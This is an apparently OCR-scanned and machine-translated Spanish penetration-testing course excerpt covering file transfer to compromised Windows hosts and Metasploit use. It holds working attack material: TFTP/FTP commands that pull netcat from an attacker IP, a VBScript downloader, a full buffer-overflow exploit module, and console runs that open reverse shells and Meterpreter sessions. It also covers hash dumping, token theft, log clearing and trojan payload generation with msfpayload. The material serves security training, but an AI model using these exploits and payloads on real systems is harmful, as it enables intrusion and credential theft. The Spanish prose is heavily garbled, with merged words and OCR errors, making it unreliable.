Objetivos del modulo

Al final deeste médulq los estudiantesieben:

1. Ser capaz dautilizar varios métodogie transferencia de archivosomo FTR TFTPDEBUGyY
secuencias de comando¥BSpara

iniciarla transferencia de archivoa un ordenador de la victima

2. Comprender lospeligros de unshell nointeractivo.

3. Entenderlas limitaciones practicas deadamétodo de transferenciaasicomo los prosy los
contras decada uno.

A menudo me preguntan "Asi que tengouna concha,;y ahora qué@"Ahora que usted tiene
unaconsola de sistemague son capaces de

ejecutar comandosadministrativosEsto significa que pede agregar usuarioscambiar
contrasefiasvaciecontrasefiasinstalarsoftware,cambiar configuracionesy asi sucesivamente.
Usted essin embargq inicialmente limitadaal uso de herramientay comandosque ya estan
disponiblesen la maquinavictima.Dependiendo de lavictimadel sistema operativoesto podria
ser unaopcion muy interesante

Vadke i
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8.1 Elshell no interactivo

Un intérprete no interactivose explica mejor corel siguiente ejemplo.

Escriba el comanddalir en un simbolo del sistema&n una maquinaWindows.Este comandao
interactivoporque una vez quese ejecutano requieremasintervencion del usuaricon el fin
de completarse Desde una maquinaVindows o un shell remotd), Intente conectarse an
servidorFTPy registroen:

C:\ User s\ offsec> ftp ftp.microsoft.com

Connected to ftp.microsoft.akadns.net.

220 Microsoft FTP Service

User (ftp.microsoft.akadns.net:(none)): test
331 Password required for test.

Password: test

530 User cannot log in.

Login failed.

ftp> bye

221 Thank you for using Microsoft products.

C:\ Users \ offsec>

Ignora elhecho de queen realidad noentra,y observe queel proceso deFTPha salido
después dedio entradael nombre de usuarig la contrasefia yel comandobye. Esteesun
programa interactivo querequierela intervenciéon del usuaricon el fin decompletar.

La regla basica dein shell remotoestandar es:

No ejecute programasnteractivos utilizandaun shell remota

La razdn de estees que la salidastandarde un programa interactivono se redirige
correctamerte a la cascargy que a menudose ha agotado el tiempoo desconectado dela
cascaralntentainiciar sesion enun servidor FTRervidordesde una consolaemota yver por ti
mismo.

8.2 Carga de archivos
A medida que expandesu ataque, ustedtendrd quecargarherramientas comoanalizadores de
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puertos, exploitsrecopilados clavemadereros ytroyanosa la victimg. Hay varios métodos para
cargar archivos aina victima.estos sontodo ello basadoen el uso delas herramientas
disponibles enel sistema opeativo que hackeadopara poder descargamarchivos.

8.2.1Uso deTFTP

TFTP es uprotocolo basado enUDPtransferencia de archivofara obtener masnformacion
acerca deTFTPpor favor visite http://en.wikipedia.org/wiki/Trivial_File_Transfer_Protocol
Los sistemas operativos Windovesntienenun cliente TFTRpor defecto. Mediante el uso de
este clienteincorporado, puedetransferirarchivos desde y hacial ordenador de la victima
mediante unshellremoto.

Necesitaconfigurar un servidofTFTPpara la vEtima para conectar ycargar / descargararchivos
y hacerAseguresede que estaejecutando:

root@bt:~# netstat - anup |grep 69
udp 0 0 0.0.0.0:69 0.0.0.0:* 398/atftpd

root@bt:~#

Copie elarchivo que desedransferira la victimaen el directorio /tmp en la maquina del
atacante:

root@bt:~#  cp /pentest/windows - binaries/tools/nc.exe /tmp/

Ahora puedeintentar transferireste archivo a lavictimacon su concharecién adquiridosa
distancia:

C:\ WINDOWSsystem32> tftp  -i192.168.9.100 GET nc.exe
tftp -1 192.168.9.100 GET nc.exe

Transfer successful: 59392 bytes in 5 seconds, 11878 bytes/s
C:\ WINDOWSsystem32> dir nc.exe

dir nc.exe

Volume in drive C has no label.

Volume Serial Number is B4B7 - CCDF
Directory of C: \ WINDOWSsystem32
11/12/2006 06:49 AM 59,392 nc.exe

1 File(s) 59,392 bytes
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0 Dir(s) 2,733,469,696 bytes free

C:\ WINDOWSsystem32>

Observe el usalel comandotftp en la maquinavictimg conectado a lamaquina atacante
(192.168.9.100), que sejecuta un servidoiTFTPy ejecutar uncomandotftp GETpara
recuperarnc.exe

8.2.1.1TFTPPros

TFTPse basa enUDPy por lo tanto rapido. TFTPes una buena opciéra elegir paraarchivos
pequefios.

El comandoTFTPo es interactiva

8.2.1.2TFTPContras

TFTPse basa enUDPYy por lo tanto poco fiable No esapropiado paraarchivos grandes.
Las organizacionesara vezpermitir el traficoUDPde salida,por lo que talintento de
transferencia de archivopor lo general seraloqueado en elfirewall corporativo.

8.2.2Utilizacion de FTP

Windows tambiéncontiene un clienteFTPpredeterminadoque se puede utilizaparala
transferencia de archivosComo previamente se havisto, FTPes un comandointeractivo que
requiere una entradgpara completar.Usted necesitgara resolver estgroblema

antes de intenta utilizar FTP.

En la ayudade comandosFTR vera queel cliente FTP de Windowsdmite la recepciéon de
comandos FTRIesde unarchivo de texto:

- s:flename Specifies a text file containing FTP commands;

the commands will automatically run after FTP starts.

Vadke i
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En este ejemplppodrasconfigurar un servido=TPen el equipoBackTrack colocar elarchivo
gue deseatransferiren el directorioFTP.

Volvera la cascaravictima que deseael clienteFTPpara trabajars6lo concomandos no
interactivos

C:\ WINDOWSsystem32> echo open 192.168.9.100 21> ftp.txt
C:\ WINDOWSsystem32> echo ftp>> ftp.txt

C:\ WINDOWSsystem32> echo ftp>> ftp.txt

C:\ WINDOWSsystem32> echo bin >> ftp.txt

C:\ WINDOWSsystem32> echo GET nc.exe >> ftp.ixt

C:\ WINDOWSsystem32> echo bye >>  ftp.txt

C:\ WINDOWSsystem32> ftp - s:ftp.txt

8.2.3Transferencia$nline

bt ~# cd /pentest/windows - binaries/tools/
bt tools # wine exe2bat.exe nc.exe nc.txt
Finished: nc.exe > nc.txt

bt tools #

Este comando creaun archivo llamadonc.txten sudirectorio de trabajo. Este archivo contiene
el codigo byte que crealos ejecutablesnc.exe Observe que el formatade este archivoesta
construidode tal manera que puedesimplementese pega enuna cascaravictima echo'ed para
el sistema de archivosgictima y luego compilado con debug.exeen la maquinavictima.
Utilizandoconceptos similaresVBScriptambién puede echo'ed en una conchay ejecutado.El
siguiente codigoutilizar el método deWinHTTPpara descargaiarchivos a través déiTTP:

'‘Barabas pure vbs downloader - tested on XP sp2

'Microsoft fixed adodbstream but guess what <img
src="http://s.wordpress.com/wpincludes/

images/smilies/icon_smile.gif" alt=":)" class="wp - smiley">
'(c)dec 2004

'First argument = complete url to download
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'Second Argument = fil ename you want to save

'thnks to http://www.ericphelps.com/scripting/samples/BinaryDownload/

'v2 - now includes proxy support for the winhttp request stuff
strUrl = WScript.Arguments.ltem(0)

StrFile = WScript.Arguments.ltem(1)

'WinHttpRequest proxy setti ngs.

Const HTTPREQUEST_PROXYSETTING_

DEFAULT =0

Const HTTPREQUEST_PROXYSETTING_PRECONFIG =0
Const HTTPREQUEST_PROXYSETTING_DIRECT =1

Const HTTPREQUEST_PROXYSETTING_PROXY = 2

Dim http, varByteArray, strData, strBuffer, IngCounter, fs, ts

Err.Clear

Set http = Nothing

Set http = CreateObject("WinHttp.WinHttpRequest.5.1")

If http Is Nothing Then Set http =

CreateObject("WinHttp.WinHttpRequest")

If http Is Nothing Then Set http =

CreateObject("MSXML2.ServerXMLHTTP")

If http Is Nothing Then Set http = Create Object("Microsoft XMLHTTP")
' comment out next line if no proxy is being used

" and change the proxy to suit ur needs - duh

http.SetProxy HTTPREQUEST_PROXYSETTING_PROXY, "web - proxy:80"
http.Open "GET", strURL, False

http.Send

varByteArray = http.ResponseBod y

Set http = Nothing

Set fs = CreateObject("Scripting.FileSystemObject")

Set ts = fs.Create TextFile(StrFile, True)

strData =""
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strBuffer =™

For IngCounter = 0 to UBound(varByteArray)

ts.Write Chr(255 And Ascb(Midb(varByteArray,IngCounter + 1, 1)))
Next

ts.Close

A ver si puedesiescubrira otros métodospara la transferencia dalgunosarchivos hacia y
desdeuna maquinavictimaGoogle tienealgunas referencias allos!

vl
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9. Modulo 9: Aprovecharlos marcos

Este médulointroduce el Metasploit Frameworly susdiversas funcioney usos.

Objetivos del moédulo

Al final deeste modulq los estudianteslieben:

1. Ser capaz deportar hazafassimples paraVetasploitFrameworkformato para su uso erun
entorno real.

2. Ser capazle utilizary ejecutarexploits médulos auxiliares, los ataquetel lado del clientey
mucho mascon el MSF, asi comocrearcargas Utiles binariag manejarapropiadamente.

3. Poseerhabilidad con lacarga atilMeterpretery sus distintas funcionescascomo archivo
transferenciaskeyloggers la migracionde procesosgetc.

informesAvisoes necesario para estmédulo como se describe eros ejercicios.

Comote habras dado cuentael trabajo conexploitspublicos no esun trabajo sencilloA
menudo no funcionan orequerir modificacionesy sushellcodeno siemprepueden satisfacer
sushecesidadesAdemas no haynormalizacion en elso exploitlinea de comandosEn
resumen, edun desastre.

Enlos ultimos aflosvarios marcosde exploitshan sido desarrolados como Metasploit

(no comercial) yCore Impact(comercial).Un marcoexploites un sistema que&ontiene
herramientas de desarroll@rientadashacia el desarrolloy la utilizacion deexploit Losmarcos
de estandarizarla explotarsintaxis de usqg proporcionar capacidades dinamicashellcode.
Esto significa que paraadaexplotacidnen el marcose puede elegirdiversas cargas Utilesles
como shellcodeuna conchase unen una conchainversa,descargar y ejecutacédigo shell,y
asi sucesivamente.

9,1 Metasploit

Segun lo descrito poisusautores, elMetasploit Frameworkwww.metasploit.comgs un
avanzadoopensourceplataforma para el desarrollplas pruebasy el uso decodigo de
explotacién.Este proyectanicialmentecomenzd comoun juego de redportétil y se ha
convertido enuna poderosa herramienta parpruebas de penetraciénexplotarel desarrollo y
la investigacion de vulnerabilidades.

El amplio apoyopara el lenguaje Rubyel marco puedeejecutarse ercasicualquiertipo Unix
sistema ensu canfiguraciénpor defecto. Un entorno Cygwinpersonalizadose proporciona
para los usuarios d&istemas basadosn Windowsde funcionamiento (uf!).

El Marco haconvertidopoco a poco el nimero deuna colecciénexploity el desarrollo
marco de todos loshackersy pruebas de intrusiénCon frecuencia sectualiza connuevos
exploitsy estd constantementesiendo mejoradoy desarrolladoatin mas.Metasploitse puede
ejecutar utilizandodiferentes interfacedinea de comandosgconsola yweb.

e .
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9.1.1Escritura de utmodulo de Metasploit

Incluso susted no tiene ningunaexperienciade programacion oRuby,no se deje intimidarmpor
este ejercicioLa LenguajeRuby yestructuraexploit son faciles deseguir y entendermuy
similar aPython).

Vas aportar su servidorrecién creadoCapacidadPythonexploiten el formato deMSF.Que va
a utilizarun existentebasada en FTRxploiten el marco comola plantilla:

root@ bt: ~# cd/ pentest/exploits/framework3/modules/exploits/windows/ftp /
root@ bt #cp cesarftp_mkd.rb ability_stor.rb

root@ bt: #nano ability_stor.rb

Fijar loselementoscruciales en etédigo, incluyendoel nombre, la descripciénlas direcciones
correspondientesde retorno, y Por supuesto nuestra estructurale amortiguacion.Observelos
cambiosen negrita

#it
#9$Id:  ability_stor.rb 7853 2009 -12-14 19:04:40Z jduck $

Hit

require 'msf/core’

class Metasploit3 < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})

super(update_info(info,

'Name'=>  'Ability Server STOR FTP Command Buffer Overflow'
'‘Description’ => %g{

This module exploits a stack overflow in the STOR verb in Ability Server.
You must have valid credentials to trigger this vulnerability.

3

'Author' = > ‘'offsec' ,

'License' => MSF_LICENSE,

'Version' => '$Revision: 7853 $',

'References’ =>
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[

[ 'CVE', 2004 -16261' ],

1

'Privileged’ => true,

'‘DefaultOptions' =>

{

'EXITFUNC' =>  'thread' ,

3

'Payload’ =>

{

'Space' => 1000,

'‘BadChars' =>" \ x00",
'StackAdjustment' => - 3500,

2

'Platform’ => 'win’,

‘Targets' =>

[

[ 'Windows XP SP2 English', { 'Ret' => 0x77d8af0a } ], # jmp esp
1,

'DisclosureDate' => 'Oct 22 2004',
'DefaultTarget' => 0))

end

def check

connect

disconnect

if (banner =~/ Ability Server 2\ .34qg /)
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe

end

def exploit

il ; i
P ' @BackTrackAcadem ‘i fb/BackTrackAcademy




Paginal] 191%

connect_login

sploit = "A" * 966 + [target.ret].pack('V') + make_nops(32) + payload.encoded
sploit << rand_text_alpha_upper(998 - payload.encoded.length)
print_status("Trying target #{target.name}...")

send_cmd( [STOR!, sploait] , false)

handler

disconnect

end

end

Por favor tdmese etiempo para inspeccionael codigo de explotaciény asegurese de que
entiendela portabilidad procedimiento como sedemuestra enel modulo de video
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9.1.2Metasploit3 Command Linelnterface (nsfcli)

Ejecucion demsfclisin argumentosmuestra todos loamédulos disponiblesen Metasploit

root@bt:~#  cd /pentest/exploits/framework3/
bt framework3 # Jmsfcli

Usage: ./msfcli <exploit_name><option=value> [mode]

Mode Description

(H)elp You're looking at it baby!

(S)ummary Show information about this module

(O)ptions Sho  w available options for this module

(A)dvanced Show available advanced options for this module
(DS Evasion Show available ids evasion options for this module
(P)ayloads Show available payloads for this module

(Margets Show available targets for this exp loit module
(AC)tions Show available actions for this auxiliary module
(C)heck Run the check routine of the selected module

(E)xecute Execute the selected module

Exploits

Name Description

exploit/bsdi/softcart/mercantec_softcart Mercantec SoftCart CGl Overflow

bt framework3 #
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Utilicev3.xMarco para explotarsu maquina de laboratoriomediante el uso desu hazafia
recientementeportado.
Comience por identificata explotacioncorrectade usar:

root@bt:framework3# Jmsfcli |grep ability_stor
[*] Please wait while we load the module tree...
exploit/windows/ftp/ability _stor Ability Server STOR FTP Command Buffer Overflow

root@bt:/pentest/exploits/framework3#

Ahora elijauna carga util.Ustedpuede ver lalistade cargas Gtileslisponibles g§hellcodes)
utilizando elargumento P.Descripcionefan sido eliminadogara finesde formato. Revisda
salida de estecomandoen el laboratorio ycomprobar las descripciones de ladiversas cargas
utiles

root@bt:framework3# Jmsfcli exploit/windows/ftp/ability_stor P

[*] Please wait while we load the module tree...

Name
generic/shell_bind_tcp
generic/shell_reverse_tcp
windows/adduser

windows/adduser/bind_tcp

windows/shell_bind_tcp_xpfw
windows/shell_reverse_tcp
windows/upexec/bind_tcp
windows/upexec/reverse_http
windows/upexec/reverse_ord_tcp
windows/upexec/reverse_tcp

windows/vncinject/bind_tcp
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windows/vncinject/reverse_http
windows/vncinject/reverse_ord_tcp
windows/vncinject/reverse_tcp

bt framework3 #

Elige unshellcodeshellinversapara empezar ywer qué otras opcionegjue necesitapara
proporcionar:

root@bt:framework3# Imsfcli exploit/windows/ftp/ability_stor
PAYLOAD=windows/shell_reverse_tcp O
[*] Please wait while we load the module tree...

Name Current Setting Required Description

FTPPASS mozilla@example.com no The password for the specified username
FTPUSER anonymous no The username to authenticate as

RHGBT yes The target address

RPORT 21 yes The target port

Name Current Setting Required Description

EXITFUNC process yes Exit technique: seh, thread, process
LHOST yes The local address
LPORT 4444 yes The local port

r oot@bt:/pentest/exploits/framework3#
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Ajuste elresto de lospardmetros, tales comahost (host remoto) yIhost (IPpara shellinversa
para volvera) y luegoejecutar elexploit

root@bt:framework3# Imsfcli exploit/windows/ftp/ability_stor
PAYLOAD=windows/shell_reverse_tcp FTPPASS=ftp FTPUSER=ftp RHOST=192.168.182.129
LHOST=192.168.182.128 E

[*] Started reverse handler on port 4444

[*] Authenticating as ftp with password ftp...

[*] Sending password...

[*¥] Trying target Windows XP SP2 English...

[*] Command shell session 1 opened (192.168.182.128:4444 ->192.168.182.129:1168)
Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985 - 2001 Microsoft Corp.

C:\ abilitywebserver>

Tenga en cuentague el marcoconfigura automaticamente uroyente (para unshellinversa)o
se conecta(atarconchag a unavictimasinla necesidad deNetcat
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9.1.3MetasploitConsole (nsfconsole)

Elmsfconsolese ha hecho populaen los ultimos afiog/ permiteun acceso mas facy
configuracidonde los entornosde explotacion.Ejecutar ekexploitigual que el anterioy esta vez
utilizandola msfconsole

root@bt:/pentest/exploits/framework3# msfconsole
=[ metasploit v3.3.4 - dev [core:3.3 api:1.0]

+ -- -- =[ 532 exploits - 249 auxiliary

+ -- - =[ 198 payloads - 23 encoders - 8nops

=[ svn r8749 updated today (2010.03.08)
msf > help

Core Commands

Command Description

? Help menu

back Move back from the current context

unsetg Unsets one or more global variables
use Selects a module by name
version Show the framework and console library version numbers

Database Backend Commands

Command Description

db_connect Connect to an existing database

db_driver Specify a database driver

msf > search ability_stor

[*] Searching loaded modules for pattern 'ability_stor"...
Exploits
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Name Rank Description
windows/ftp/ability_stor average Ability Server STOR FTP Command Buffer Overflow

msf >

Ahora que haubicado suexplotacion usarloy configurarlosegun sus necesidades:

msf> use windows/ftp/ability_stor

msf exploit(ability_stor) > set PAYLOAD windows/shell_reverse_tcp
PAYLOAD => windows/shell_reverse_tcp

msf exploit(ability_stor) > show options

Module options:

Name Current Setting Required Description

FTPPASS mozilla@example.com no The password for the specified username
FTPUSER anonymous no The username to authenticate as

RHOST yes The target add ress

RPORT 21 yes The target port

Payload options (windows/shell_reverse_tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique: seh, thread, process
LHOST yes The local address

LPORT 4444 yes The local port

Exploit target:

Id Name

0 Windows XP SP2 English

msf exploit(ability _stor) >
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Afiadirel nombre de usuarioy contrasefia FTR seleccionamun destinoapropiado (s6louno,
porque ha definidola direccion del remitenteinico para WinXPSP2):

msf exploit(ability_stor) >
LHOST =>192.168.182.128
msf exploit(ability_stor) >
RHOST =>192.168.182.129
msf exploit(ability_stor) >
FTPPASS => ftp

msf exploit(ability_s tor) >
FTPUSER => ftp

msf exploit(ability_stor) >
Exploit targets:

Id Name

0 Windows XP SP2 English
msf exploit(ability_stor) >
TARGET =>0

msf exploit(ability_stor) >

[*] Started reverse handler on

set LHOST 192.168.182.128

set RHOST 192.168.182.129

set FTPPASS ftp

set FTPUSER ftp

show targets

set TARGET O

exploit

192.168.182.128:4444

[*] Connecting to FTP server 192.168.182.129:21...

[*] Connected to target FTP server.

[*] Authenticating as ftp with password ftp...

[*] Sending password...

[*] Trying target Windows XP SP2 English...

[*] Command shell session 1

opened (192.168.182.128:4444

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985

C:\ abilitywebserver>

okl
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9.1.4 Metasploit Web Interface (Msfweb)

La interfaz Web de Metasploit se deprecia y ya no emepatible. En esta seccion se quedd aqui
para unicamente con fines informativos.

Mfsweb inicia un servidor web en Metasploit 127.0.0.1 en el puerto 55555. Para examinar este
puerto ofrece una impecablenterfaz web para Metasploit Framework. La interfaz imisb es
probable que se deje de utilizar en el futuro;

Sin embargo, a través de esta interfaz usted puede literalmente "hacer clic y hackear" usando
Metasploit.

Yo nunca uso el Msfweb durante una prueba de lapiz, ya que afiade una capa de abstraccion
entre el deposito y elpluma probador. Por ejemplo, no hay nada mas molesto que las horas de
trabajo para obtener un shell y lueg@erderlo porque Msfweb estrell6. Sin embargo, utilizando
Msfweb en una reunion de gestién o que demuestra la facilidad dgenetracion a través de

un interfaz web sencillo no djar una impresion.

En el siguiente ejemplo, se explotara un equipo de la victima y el uso de una carga
relativamente complejo,vnc_reverse (que envia el escritorio victima a través de VNC para el
atacane).

Ejecutar Msfweb:

root@bt:/pentest/exploits/framework3# Jmsfweb
[*] Warning: As of Metasploit 3.3 this interface is no longer supported:
Please see https://metasploit.com/redmine/issues/502

[*] Starting msfweb v3.3.4 -devon http://127.0.0.1:55555/

=> Booting Mongrel

=> Rails 2.3.5 application starting on http://127.0.0.1:55555
[*] Initializing the Metasploit Framework...

[*] Initialized the Metasploit Framework

=> Call with - d to detach

=>Ctrl - C to shutdown server

Abra unnavegadory vaya ahttp://127.0.0.1:55555



http://127.0.0.1:55555/
http://127.0.0.1:55555/
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Metasploit Framework Web Console 3.1-dev - Mozilla Firefox

i
File  Edit VWiew  History Bookmarks Tools Help

. . M [ . . (I (
<& & it |0 nttp:r127.0.0155555/ ~[ B | |&]
"@ Exploits ~4, Auxiliaries ' Payloads -_, Console | Sessions j:’ Options & About

Daone

Elija elexploit necesario:

Metasploit Framework Web Console 3.3.4-dev - Mozilla Firefox

File Edit View History Bookmarks Tools Help [metasploit Framework Web Console 3.3.4-dev - M
e & - 2 i [ http:1/127.0.0.1:55555/ v | (G~ | @
B BackTrack Linux [Joffensive-Security %a Gerix.T [BExploit Database Y Aircrack-ng »
® Available Exploits (0)

SEARCH | ability_stor

Matched 1 modules for term ability_stor

Ability Server STOR FTP Command Buffer Overflow &

This module exploits a stack overflow in the STOR verb in Ability Server. You must have valid
credentials to trigger this vulnerability.
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Complete la informaciémecesaria para ejecutar @xploit

Ahility Server STOR FTP Command Buffer Overfloy

windows/shelllTeverse tcp onnect back to the attacker, spawn a piped command s staged 2]
windows/shell Try to connect back to the attacker, on all possible ports (1-65535, slowly), Spawn a piped

jreverse tep allports command shell (staged)

windows/shell hind fcp Listen for a connection and spawn a command shell

windows/shell hind tcp xpfw  Disable the Windows ICF, then listen for a connection and spawn a command shell

windows/shell reverse tcp Connect back to attacker and spawn a command shell

windows/upexec/bind ipvé tcp Listen for a connection over IPv6, Uploads an executable and runs it (staged)

windows/upexec
/bind nonx tcp

windows/upexec/bind tcp Listen for a connection, Uploads an executable and runs it (staged)

Listen for a connection (Mo NX), Uploads an executable and runs it (staged)

windows/upexec/reverse http  Tunnel communication over HTTP using |IE 6, Uploads an executable and runs it (staged) J

windows/upexec
Jreverse ipvG tep

windows/upexec

e

Connect back to the attacker over IPvE, Uploads an executable and runs it (staged)

Connect back to the attacker (Mo MX), Uploads an executable and runs it (staged) =

Usted esté utilizandan caprichocarga utilVNCinverso:

<=k ; |
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Ability Server STOR FTP Command Buffer Overflow (2)

STANDARD OFTIONS

FTPPASS

The password for the specified username (type: string) |ftp
FTPUSER

The username to authenticate as (type: string) |ftp
RHOST Requiret

The target address (type: address)

|192.168.182.129

RPORT Required
The target port (type: port) |21
AUTOVNC Required
Automatically launch VHNC viewer if present (type: bool) |true
EXITFUNC Required
Exit technique: seh, thread, process (type: raw) |pr0cess
LHOST Required

The local address (type: address)

|192.168.182.128

LPORT Required
The local port (type: port) |4444
VNCHOST Required
The local host to use for the WNC proxy (type: address) |12?.CI.CI.1
VNCFORT Required
The local port to use for the WNC proxy (type: port) |59CID

Launch Exploit |

=l

Ejecutar ekexploity ver queuna sesion se hareado.En cuanto a lanversashellcodeVNC,
tiene untendencia a notrabajar. Si usted veuna sesién se ha&reado, espereun minuto para el
VNC conexiénpara iniciar
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stage...(89 bytes)

{running)

Una ventanaVNC deberia aparecerdi tienes suerte!)Tenga en cuenta queaisted harecibido
una cortesiaShell en caso de quela maquina esta erun estadoconectado off. La carga util
VNC es muy lentopara reaccionatincluso en unLAN loca) y mucho menosun enlace WAN:

<aoike ;
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9.2 Cargade Interés

Metasploittiene algunascargas Utilesnteresantesademas deconchasbind / inversa Ya has
conocido alVNC conexioninversaDLLinyeccionde carga Gtil En este méduloyamos a echar
un vistazo a laMeterpreter Carga Util.

9.2.1Capacidad de cargdMeterpreter

Como se describeen el sitioMetasploit,el Meterpreteres un avanzadamulti-funcion dela
carga utilque puede serexpandida dinamicamenten tiempo de ejecucionEsto significa que
sele proporciona unaestructura b&icay permite para agregarnuevas caracteristicas para
cuando sea necesarid?or favor,consulte la documentaciérMeterpreterpara una profundidad
in-descripcién decémo funciona ylo que puedeshacer con éLEI manualMeterpreter se puede
encontrar enla subdirectorio delmarco, asi comeen linea en ladocumentacion:
http://www.metasploit.com/documents/meterpreter.pdf

Puede implementaiMeterpreter como carga Utilexploito por medio de la forma binaria
Desplieguebinario forma esdiscutidoen un médulo posterior.

1. Gain a shelMeterpreteren una maquinavulnerable.Una vez dentrogscriba helppara ver el
conjunto de caracteristicas basicde comandos:

bt framework3 # Jmsfcli windows/http/ ability_stor
PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.8.104 RHOST=192.168.9.55 E
[*] Started reverse handler

[*] Trying target JIMP ESP - XP SP2...

[*] Transmitting intermediate stager for over - sized stage...(89 bytes)

[*] Sending stage (2834 bytes)

[*] Sleeping before handling stage...

[*] Uploa  ding DLL (81931 bytes)...

[*] Upload completed.

[*] Meterpreter session 1 opened (192.168.8.104:4444 ->192.168.9.55:1144)
meterpreter > help

Core Commands

Command Description

? Help menu

channel Display information about a ctive channels
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close Close a channel

exit Terminate the Meterpreter session

help Help menu

interact Interact with a channel

irb Drop into irb scripting mode

migrate Migrate the server to another process
quit Terminate the Meterpreter session

read Reads data from a channel

run Execute a Meterpreter script

use Load one or more Meterpreter extensions
write Write data to a channel

Stdapi: File system Commands

Command Description

cat Read the contents of a file to the screen
cd Change directory

download Download a file or directory

edit Edit a file

getwd Print working directory

Icd Change local directory

Is List files

mkdir Make directory

pwd Print working directory

rmdir Remove directory
upload Upload a file o r directory

Stdapi: Networking Commands

Command Description

il ; i
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ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table

Stdapi: System Commands

Command Description

execute Execute a command

getpid Get the current process identifier

getuid Get the user that the server is running as

kill Terminate a process

ps List running processes

reboot Reboot the remot e computer

reg Modify and interact with the remote registry

rev2self Call RevertToSelf() on the remote machine
shutdown Shut down the remote computer

sysinfo Get information about the remote system, such as OS

Stdapi: User interface Commands

Command Description

idletime Return the number of seconds the remote user has been idle

uictl Control some of the user interface components

meterpreter >

okl
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2. Puede utilizarestas funciones paraimplificarsu experiencia deshellremoto. Uso de la
Meterpreter carga, puede cargary descargar archivasgestionar los procesodps shells de

comandosy ejecutarinteractuar con ellosy asi sucesivamente

root@bt:/pentest/exploits/framework3# msfconsole
=[ metasploit v3.3.4 - dev [core:3.3 api:1.0]

+ -- -- =[ 532 exploits - 249 auxiliary

+ -- -- =[ 198 payloads - 23 encoders - 8nops

=[ svn r8749 updated today (2010.03.08)

msf exploit(ability_stor) > exploit

[*] Started reverse handler on 192.168.182.128:4444
[*] Connecting to FTP server 192.168.182.129:21...
[*] Connected to target FTP server.

[*] Authenticating as ftp with password ftp...

[*] Sending password...

[*] Trying target Windows XP SP2 English...

[*] Sending stage (747008 bytes)

[*] Meterpreter sessi on 1 opened (192.168.182.128:4444 ->192.168.182.129:1172)
meterpreter > help

Core Commands

Command Description

? Help menu
background Background the current session

channel Display information about active channels

us e Load a one or more Meterpreter extensions

write Write data to a channel
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Stdapi: File system Commands

Command Description

cat Read the contents of a file to the screen

cd Change directory

rmdir Remove  directory
upload Upload a file or directory

Stdapi: Networking Commands

Command Description

ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table

Stdapi: System Commands

Command Description

clearev Clear the event log

drop_token Relinquish any active impersonation token

steal_token Attempt to steal an impersonation token from the target process
sysinf o0 Get information about the remote system, such as OS

Stdapi: User interface Commands

Command Description

enumdesktops List all accessible desktops and window stations

setdesktop Move to a different workstation and desktop

ol ¢
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uictl Control some of the user interface components

Priv: Elevate Commands

Command Description

getsystem Attempt to elevate your privilege to that of local system

Priv: Password database Commands

Command Description

hashdump Dump the contents of the SAM database

Priv: Timestomp Commands

Command Description

timestomp Manipulate file MACE attributes

meterpreter >

3. Echa unvistazo alas otras extensioneMletasploittiene paraofrecer, comola manipulacion
registro de Windowsplug-in. Metasploit3 tiene unmddulo adicionalque se puede llamar
llamadapriv. Se le puede llamadurantetiempo de ejecucién medianteel siguientecomando:

meterpreter > use priv
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9.2.3Las cargas utilebinarias
Metasploittiene una opciénpara la salideordenadadiversas cargas Utilesomo ejecutables
Esta caracteristica nes muybien documentadq aunque es extremadamentétil:

bt framework3 # Jmsfpayload windows/meterpreter/reverse_tcp LHOST=192.168.8.119
X

> evil.exe

Created by msfpayload (http://www.metasploit.com).

Payload: windows/meterpreter/reverse_tcp

Length: 177

Options: LHOST=192.168.8.119

bt framework3 #

Ustedespueden ahora enviael archivoen varias formas la victimacomo parte deun troyano
0 un ataquedel lado del cliente
Una vez ejecutadouna conchaMeterpreterinversa debeser enviadaa la maquina que ataca

bt framework3 #./ msfcli multi/ handler CARGA= windows/ meterpreter /
reverse_tcp
Lhost = 192.168.8.119 E

[*] Started inversa controlador

[* 1A partir del controlador de carga util ... (Carga se ejecuta la victima)
[* ] Latransmisién intermedio stager para sobredimensionada escenario. .. (89
bytes)

[* ] Sending etapa (2834 bytes)

[* ] Paradormir antes de manipular el escenario ...

[*] DLL Carga (81931 bytes )...

[*] Subir completado.

[* ] Periodo de sesiones Meterpreter 1 abierto (  192.168.8.119:4444 ->
192.168.9.55:1072 )

meterpreter >
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9.2.4CaracteristicasdicionalesMarco v3.x

Como se describe erta guia deMetasploit Frameworkde desarrollo3, la versién3.0 delmarco
de trabajo esun refactorizacionde la rama2.xque se ha escrit@n su totalidad enRuby.El
objetivo principal dela 3,0 ramaes hacer que emarco facil de usary se extienden desden
aspecto programaticoeste objetivoabarca nosolo el desarrollo den6édulos de marco (como
exploity, sino tambiéna la desarrollo deherramientas de terceroy complementosque se
pueden utilizarpara aumentar la funcionalidade la suite completa Mediante el desarrollo de
una herramienta facitle usarmarco en un nivel programatico se sigue queexplotay otras
extensionegleberia ser mas facde entender y aplicadistintas de lagprevistasen anteriores
versiones demarco.

9.2.4.2Marco de 3 médulos auxiliares
V3.0marco introducevariosmédulos utilesauxiliares comdJDPbarridosdescubrimiento y
SMBacoger elementos de identificacién

root@bt:/pentest/exploits/framework3# Imsfconsole
=[ metasploit v3.3.4 - dev [core:3.3 api:1.0]

+ -- -- =[ 532 exploits - 249 auxiliary

+ -- -- =[ 198 payloads - 23 encoders - 8nops

=[ svn r8749 updated today (2010.03.08)
msf > show auxiliary

Auxiliary

Name Rank Description

admin/backupexec/dump normal Veritas Backup Exec Windows Remote File Access
admin/backupexec/registry normal Veritas Backup Exec Server Registry Access
admin/cisco/ios_http_auth_bypass normal Cisco I0S HTTP Unauthorized
Administrative Access

admin/db2/db2rcmd normal IBM DB2 db2rcmd.exe Command Execution Vulnerability.
admin/mssql/mssql_sql normal Microsoft SQL Server Generic Query
admin/mysql/mysql_enum normal MySQL Enumeration Module
admin/mysql/mysqgl_sql normal MySQL SQL Generic Query

admin/or acle/oracle_login normal Oracle Account Discovery.
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admin/oracle/oracle_sqgl normal Oracle SQL Generic Query

admin/oracle/oraenum normal Oracle Database Enumeration
admin/oracle/sid_brute normal ORACLE SID Brute Forcer.

